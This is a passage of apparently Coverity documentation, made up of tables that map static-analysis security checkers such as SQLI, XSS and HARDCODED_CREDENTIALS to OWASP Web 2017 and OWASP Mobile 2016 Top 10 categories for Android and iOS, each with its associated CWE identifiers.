| owasp-web-2017-A8 | Insecure Deserialization | Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks. | UNSAFE_DESERIALIZATION | C#, Java, JavaScript, PHP, Python, Visual Basic | 17, 18, 361, 398, 399, 502, 505, 635, 664, 699, 700, 710, 844, 858, 884, 888, 892, 896, 907, 913, 978, 984, 994, 1000, 1003, 1008, 1019, 1026, 1034 |
| owasp-web-2017-A9 | Using Components with Known Vulnerabilities | Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts. | |||
| owasp-web-2017-A10 | Insufficient Logging & Monitoring | Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring. | UNLOGGED_SECURITY_EXCEPTION | C#, Java, Visual Basic | 17, 18, 19, 199, 221, 223, 254, 361, 664, 693, 699, 700, 778, 884, 888, 892, 906, 907, 975, 984, 997, 1000, 1003, 1008, 1009, 1026, 1036 |
The following table identifies Coverity mobile application security checker coverage for the 2016 OWASP Mobile Top 10 on Android.
| Standard | Name | Description | Checkers | CWE Types | |
|---|---|---|---|---|---|
| owasp-mobile-2016-M1 | Improper Platform Usage | This category covers misuse of a platform feature or failure to use platform security controls. It might include Android intents, platform permissions, misuse of TouchID, the Keychain, or some other security control that is part of the mobile operating system. There are several ways that mobile apps can experience this risk. | ANDROID_DEBUG_MODE | 17, 18, 19, 199, 200, 215, 361, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011 | |
| IMPLICIT_INTENT | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 895, 899, 907, 927, 928, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | ||||
| MISSING_PERMISSION_FOR_BROADCAST | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 895, 899, 907, 927, 928, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | ||||
| MISSING_PERMISSION_ON_EXPORTED_COMPONENT | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 899, 907, 926, 928, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | ||||
| SENSITIVE_DATA_LEAK | 17, 18, 19, 199, 200, 201, 209, 254, 264, 284, 285, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 721, 723, 728, 729, 731, 734, 743, 750, 751, 753, 755, 800, 801, 803, 809, 815, 816, 817, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 899, 900, 907, 922, 927, 928, 930, 933, 934, 935, 944, 945, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1031, 1032 | ||||
| URL_MANIPULATION | 17, 18, 19, 20, 74, 99, 116, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 813, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 932, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027, 1031 | ||||
| XML_EXTERNAL_ENTITY | 17, 18, 254, 264, 265, 361, 398, 399, 405, 409, 438, 442, 610, 611, 635, 664, 669, 674, 691, 699, 700, 706, 710, 711, 730, 776, 809, 813, 827, 829, 834, 844, 845, 855, 857, 864, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 977, 978, 980, 981, 984, 985, 990, 1000, 1003, 1008, 1011, 1015, 1016, 1026, 1030 | ||||
| owasp-mobile-2016-M2 | Insecure Data Storage | This covers insecure data storage and unintended data leakage. Insecure data storage vulnerabilities occur when development teams assume that users or malware will not have access to a mobile device's filesystem and subsequent sensitive information in data-stores on the device. Unintended data leakage (formerly side-channel data leakage) includes vulnerabilities from the OS, frameworks, compiler environment, new hardware, etc. without a developers knowledge. | EXPOSED_PREFERENCES | 17, 18, 19, 199, 200, 361, 538, 629, 635, 664, 668, 699, 700, 717, 809, 815, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011 | |
| PATH_MANIPULATION | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | ||||
| SENSITIVE_DATA_LEAK | 17, 18, 19, 199, 200, 201, 209, 254, 264, 284, 285, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 721, 723, 728, 729, 731, 734, 743, 750, 751, 753, 755, 800, 801, 803, 809, 815, 816, 817, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 899, 900, 907, 922, 927, 928, 930, 933, 934, 935, 944, 945, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1031, 1032 | ||||
| UNENCRYPTED_SENSITIVE_DATA | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 315, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | ||||
| UNRESTRICTED_ACCESS_TO_FILE | 17, 18, 19, 199, 200, 361, 538, 629, 635, 664, 668, 699, 700, 717, 809, 815, 840, 888, 892, 895, 921, 922, 963, 984, 1000, 1003, 1008, 1011, 1013 | ||||
| owasp-mobile-2016-M3 | Insecure Communication | This covers poor handshaking, incorrect SSL versions, weak negotiation, cleartext communication of sensitive assets, etc. | BAD_CERT_VERIFICATION | 17, 18, 227, 254, 264, 284, 295, 296, 297, 299, 300, 310, 361, 398, 399, 404, 573, 632, 635, 664, 693, 699, 700, 710, 711, 723, 724, 730, 731, 734, 743, 750, 752, 844, 850, 857, 859, 868, 876, 877, 882, 884, 887, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 978, 982, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1014, 1026, 1029, 1031 | |
| RISKY_CRYPTO | 17, 18, 254, 264, 284, 300, 310, 326, 327, 328, 361, 629, 632, 635, 664, 693, 699, 700, 711, 719, 720, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 959, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | ||||
| SENSITIVE_DATA_LEAK | 17, 18, 19, 199, 200, 201, 209, 254, 264, 284, 285, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 721, 723, 728, 729, 731, 734, 743, 750, 751, 753, 755, 800, 801, 803, 809, 815, 816, 817, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 899, 900, 907, 922, 927, 928, 930, 933, 934, 935, 944, 945, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1031, 1032 | ||||
| UNENCRYPTED_SENSITIVE_DATA | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 315, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | ||||
| owasp-mobile-2016-M4 | Insecure Authentication | This category captures notions of authenticating the end user or bad session management. This can include failing to identify the user at all when that should be required, failure to maintain the user's identity when it is required, and weaknesses in session management. | CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |
| CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | ||||
| HARDCODED_CREDENTIALS | 17, 18, 254, 255, 259, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | ||||
| MOBILE_ID_MISUSE | 17, 18, 254, 330, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 888, 900, 905, 1000, 1003, 1008, 1013 | ||||
| owasp-mobile-2016-M5 | Insufficient Cryptography | The code applies cryptography to a sensitive information asset. However, the cryptography is insufficient in some way. Note that anything and everything related to TLS or SSL goes in M3. Also, if the app fails to use cryptography at all when it should, that probably belongs in M2. This category is for issues where cryptography was attempted, but it wasn't done correctly. | BAD_CERT_VERIFICATION | 17, 18, 227, 254, 264, 284, 295, 296, 297, 299, 300, 310, 361, 398, 399, 404, 573, 632, 635, 664, 693, 699, 700, 710, 711, 723, 724, 730, 731, 734, 743, 750, 752, 844, 850, 857, 859, 868, 876, 877, 882, 884, 887, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 978, 982, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1014, 1026, 1029, 1031 | |
| CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | ||||
| CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | ||||
| HARDCODED_CREDENTIALS | 17, 18, 254, 255, 259, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | ||||
| PREDICTABLE_RANDOM_SEED | 17, 18, 254, 330, 335, 336, 337, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||||
| RISKY_CRYPTO | 17, 18, 254, 264, 284, 300, 310, 326, 327, 328, 361, 629, 632, 635, 664, 693, 699, 700, 711, 719, 720, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 959, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | ||||
| WEAK_PASSWORD_HASH | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 759, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | ||||
| owasp-mobile-2016-M6 | Insecure Authorization | This is a category to capture any failures in authorization (e.g., authorization decisions in the client side, forced browsing, etc.). It is distinct from authentication issues (e.g., device enrolment, user identification, etc.). If the app does not authenticate users at all in a situation where it should (e.g., granting anonymous access to some resource or service when authenticated and authorized access is required), then that is an authentication failure not an authorization failure. | MISSING_PERMISSION_FOR_BROADCAST | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 895, 899, 907, 927, 928, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | |
| MISSING_PERMISSION_ON_EXPORTED_COMPONENT | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 899, 907, 926, 928, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | ||||
| owasp-mobile-2016-M7 | Poor Code Quality | This would be the catch-all for code-level implementation problems in the mobile client. This would capture things like buffer overflows, format string vulnerabilities, and various other code-level mistakes where the solution is to rewrite some code that's running on the mobile device. | CALL_SUPER | 17, 18, 227, 254, 264, 265, 361, 398, 399, 404, 452, 459, 485, 568, 573, 580, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 850, 857, 868, 876, 877, 881, 882, 887, 888, 892, 895, 897, 907, 966, 978, 982, 984, 1000, 1001, 1002, 1003, 1006 | |
| CHECKED_RETURN | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||||
| CONSTANT_EXPRESSION_RESULT | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 737, 747, 783, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||||
| COPY_PASTE_ERROR | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||||
| DC.DANGEROUS | 17, 18, 227, 242, 398, 676, 699, 700, 710, 734, 738, 743, 746, 748, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ||||
| DEADCODE | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||||
| DIVIDE_BY_ZERO | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||||
| FORWARD_NULL | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||||
| IDENTICAL_BRANCHES | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||||
| INFINITE_LOOP | 438, 691, 699, 834, 835, 884, 888, 907, 977, 1000 | ||||
| INVALIDATE_ITERATOR | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||||
| JSP_SQL_INJECTION | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | ||||
| MISSING_BREAK | 17, 18, 398, 438, 484, 670, 691, 699, 700, 710, 884, 888, 889, 907, 962, 977, 978, 1000, 1003, 1006 | ||||
| MISSING_RESTORE | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||||
| MISSING_THROW | 17, 18, 388, 389, 390, 699, 700, 703, 711, 728, 755, 844, 851, 868, 876, 880, 884, 888, 889, 961, 962, 1000, 1003, 1008, 1012, 1020 | ||||
| NESTING_INDENT_MISMATCH | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||||
| NULL_RETURNS | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||||
| OS_CMD_INJECTION | 17, 18, 19, 20, 74, 77, 78, 88, 116, 137, 138, 140, 141, 146, 171, 254, 629, 634, 635, 693, 699, 700, 707, 711, 713, 714, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 800, 801, 809, 810, 844, 845, 864, 868, 872, 875, 876, 878, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | ||||
| OVERFLOW_BEFORE_WIDEN | 17, 18, 19, 20, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ||||
| PATH_MANIPULATION | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | ||||
| PREDICTABLE_RANDOM_SEED | 17, 18, 254, 330, 335, 336, 337, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||||
| PROPERTY_MIXUP | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||||
| REGEX_CONFUSION | 17, 18, 19, 137, 171, 185, 697, 699, 734, 747, 844, 845, 868, 883, 884, 888, 896, 907, 977, 990, 1000, 1003 | ||||
| REGEX_INJECTION | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | ||||
| RESOURCE_LEAK | 17, 18, 361, 398, 399, 402, 403, 404, 634, 635, 664, 668, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 895, 907, 963, 978, 982, 984, 1000, 1003, 1008, 1011 | ||||
| REVERSE_INULL | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||||
| SQLI | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | ||||
| SQL_NOT_CONSTANT | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | ||||
| SWAPPED_ARGUMENTS | 227, 559, 573, 628, 683, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||||
| UNEXPECTED_CONTROL_FLOW | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||||
| UNREACHABLE | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||||
| UNSAFE_DESERIALIZATION | 17, 18, 361, 398, 399, 502, 505, 635, 664, 699, 700, 710, 844, 858, 884, 888, 892, 896, 907, 913, 978, 984, 994, 1000, 1003, 1008, 1019, 1026, 1034 | ||||
| UNSAFE_REFLECTION | 17, 18, 19, 20, 254, 264, 265, 361, 398, 399, 470, 505, 610, 635, 664, 693, 699, 700, 710, 711, 722, 734, 738, 742, 746, 747, 750, 751, 844, 859, 868, 872, 876, 883, 884, 888, 892, 893, 896, 907, 913, 975, 978, 980, 984, 991, 994, 1000, 1003, 1005, 1008, 1015, 1019, 1026, 1027 | ||||
| UNUSED_VALUE | 17, 18, 398, 563, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||||
| URL_MANIPULATION | 17, 18, 19, 20, 74, 99, 116, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 813, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 932, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027, 1031 | ||||
| USELESS_CALL | |||||
| USE_AFTER_FREE | 17, 18, 361, 664, 666, 672, 699, 700, 800, 808, 840, 884, 888, 892, 983, 984, 1000, 1003 | ||||
| WRONG_METHOD | |||||
| XSS | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | ||||
| owasp-mobile-2016-M8 | Code Tampering | This category covers binary patching, local resource modification, method hooking, method swizzling, and dynamic memory modification. Once the application is delivered to the mobile device, the code and data resources are resident there. An attacker can either directly modify the code, change the contents of memory dynamically, change or replace the system APIs that the application uses, or modify the application's data and resources. This can provide the attacker a direct method of subverting the intended use of the software for personal or monetary gain. | |||
| owasp-mobile-2016-M9 | Reverse Engineering | This category includes analysis of the final core binary to determine its source code, libraries, algorithms, and other assets. Software such as IDA Pro, Hopper, otool, and other binary inspection tools give the attacker insight into the inner workings of the application. This may be used to exploit other nascent vulnerabilities in the application, as well as revealing information about back end servers, cryptographic constants and ciphers, and intellectual property. | |||
| owasp-mobile-2016-M10 | Extraneous Functionality | Often, developers include hidden backdoor functionality or other internal development security controls that are not intended to be released into a production environment. For example, a developer may accidentally include a password as a comment in a hybrid app. Another example includes disabling of 2-factor authentication during testing. | CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |
| CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | ||||
| HARDCODED_CREDENTIALS | 17, 18, 254, 255, 259, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 |
The following table identifies Coverity mobile application security checker coverage for the 2016 OWASP Mobile Top 10 on iOS.
| Standard | Name | Description | Checkers | CWE Types | |
|---|---|---|---|---|---|
| owasp-mobile-2016-M1 | Improper Platform Usage | This category covers misuse of a platform feature or failure to use platform security controls. It might include Android intents, platform permissions, misuse of TouchID, the Keychain, or some other security control that is part of the mobile operating system. There are several ways that mobile apps can experience this risk. | CONFIG.ATS_INSECURE | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | |
| CUSTOM_KEYBOARD_DATA_LEAK | 17, 18, 361, 664, 669, 699, 700, 809, 813, 829, 864, 884, 888, 892, 895, 900, 963, 984, 1000, 1003, 1008, 1011, 1016 | ||||
| SENSITIVE_DATA_LEAK | 17, 18, 19, 199, 200, 201, 209, 254, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 728, 729, 731, 734, 743, 750, 751, 755, 800, 801, 803, 809, 815, 816, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 900, 907, 922, 928, 930, 933, 934, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1032 | ||||
| owasp-mobile-2016-M2 | Insecure Data Storage | This covers insecure data storage and unintended data leakage. Insecure data storage vulnerabilities occur when development teams assume that users or malware will not have access to a mobile device's filesystem and subsequent sensitive information in data-stores on the device. Unintended data leakage (formerly side-channel data leakage) includes vulnerabilities from the OS, frameworks, compiler environment, new hardware, etc. without a developers knowledge. | PATH_MANIPULATION | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | |
